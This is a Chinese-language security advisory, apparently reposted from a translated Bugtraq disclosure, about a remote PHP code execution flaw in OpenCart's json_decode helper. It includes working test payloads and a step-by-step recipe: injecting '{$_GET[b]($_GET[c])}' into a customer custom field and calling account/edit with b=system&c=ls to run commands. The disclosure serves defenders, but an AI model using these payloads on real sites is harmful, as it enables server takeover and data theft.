OpenCart json_decode函數中存在遠程PHP代碼執行漏洞

來源:互聯網
上載者:User
2016-04-12 14:12:56 來源:360安全播報 作者:暗羽喵 閱讀:103次

分享到:

最近,安全研究人員Naser Farhadi(Twitter: @naserfarhadi)發現OpenCart json_decode函數中存在遠程PHP代碼執行漏洞,涉及到的版本有2.1.0.2 到 2.2.0.0 (最新版本)

漏洞存在於 /upload/system/helper/json.php中,其中有這段代碼

# /upload/system/helper/json.php$match = '/".*?(?    

其中通過json進行了函數的建立,而json_decode函數可被利用

這裡是幾個簡單的測試例子

var_dump(json_decode('{"ok":"1"."2"."3"}'));

var_dump(json_decode('{"ok":"$_SERVER[HTTP_USER_AGENT]"}'));

var_dump(json_decode('{"ok":"{$_GET[b]($_GET[c])}"}'));

在真實情境中,可以通過/index.php?route=account/edit進行利用

例如將$_SERVER[HTTP_USER_AGENT]作為姓名填寫進去,儲存(需要重複兩次)

之後當管理員訪問管理面板時,他會在最近活動中本應顯示你的姓名的地方看到他自己的UserAgent

另一個例子是在account/edit 或者 account/register 中的 custom_field ,在這裡進行利用可能是最合適的

如果管理員在/admin/index.php?route=customer/custom_field中添加了一個自訂的地區用於電話號碼之類的額外資訊

你就可以直接注入你的代碼在這個custom_field中

例如將{$_GET[b]($_GET[c])}填寫到這個custom_field中,儲存

然後訪問

http://host/shop_directory/index.php?route=account/edit&b=system&c=ls

你會看到代碼被正確執行了

需要注意的是,這種利用方式只會在 PHP JSON擴充沒有安裝的情況下有效

本文由 360安全播報 翻譯,轉載請註明“轉自360安全播報”,並附上連結。

原文連結:http://seclists.org/bugtraq/2016/Apr/61
  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.